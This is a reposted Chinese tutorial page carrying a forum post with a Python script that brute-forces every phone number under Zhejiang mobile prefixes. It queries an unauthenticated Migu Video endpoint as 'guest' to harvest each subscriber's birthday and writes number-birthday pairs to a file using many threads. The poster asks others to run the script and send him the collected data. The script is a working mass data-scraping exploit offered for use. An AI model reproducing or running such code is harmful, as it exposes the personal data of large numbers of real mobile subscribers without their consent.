首页 编程教程正文

浙江移动查生日多线程批量导出

piaodoo 编程教程 2020-02-22 22:02:44 854 0 python教程

本文来源吾爱破解论坛

本帖最后由 q59541511 于 2018-10-25 15:55 编辑

[Python] 纯文本查看 复制代码

import requests
from lxml import etree
from threading import Thread
import time
def get_bdate(fristdatalist):
    datalist=[]
    for iphonenumber in range(10000):
        number=fristdatalist+str(iphonenumber).zfill(4)
        params = {
            'user': 'guest',
            'vt': '9',
            'userId': number
        }
        response = requests.get('http://aikanvod.miguvideo.com/video/p/getUserLabelsForNd.jsp', params=params)
        try:
            bddatejson = response.json()
        except Exception as e:
            print('json失败')
            continue
        try:
            data = number+'-'+bddatejson['longTable'][0]['labelValue']
            datalist.append(data)
            print(data)
        except Exception as e:
            print(number+'没有生日数据')
    return datalist

def write_data(datalist):
    strdatalist = '\n'.join(datalist)
    with open('188data.txt','a') as f:
        f.write(strdatalist)

def my_threading(frist_num):
    write_data(get_bdate(frist_num))

def get_fristnumberlist(number):
    response = requests.get('http://www.guisd.com/hd/'+str(number)+'/zhejiang/')
    xpobj = etree.HTML(response.text)
    fristnumberlist = xpobj.xpath('//*[@id="heilongjiang"]/dd//text()')[:-1]
    return fristnumberlist

list = ['134','135','136','137','138','139','150','151','152','157','158','159','188']
for i in list:
    numberalllist= get_fristnumberlist(i)
    for num in numberalllist:
        p = Thread(target=my_threading, args=(num,))
        p.start()
    time.sleep(3600)


我一会儿要去上学了,我没有服务器跑。谁跑下来了请发我一份谢谢

食用方法 c+v复制到txt然后保存为haha.py 下载模块然后在相对目录创建一个188data.txt
python3 haha.py


test.gif (69.23 KB, 下载次数: 0)

下载附件  保存到相册

2018-10-25 15:55 上传

版权声明:

本站所有资源均为站长或网友整理自互联网或站长购买自互联网,站长无法分辨资源版权出自何处,所以不承担任何版权以及其他问题带来的法律责任,如有侵权或者其他问题请联系站长删除!站长QQ754403226 谢谢。

有关影视版权:本站只供百度云网盘资源,版权均属于影片公司所有,请在下载后24小时删除,切勿用于商业用途。本站所有资源信息均从互联网搜索而来,本站不对显示的内容承担责任,如您认为本站页面信息侵犯了您的权益,请附上版权证明邮件告知【754403226@qq.com】,在收到邮件后72小时内删除。本文链接:https://www.piaodoo.com/7409.html

搜索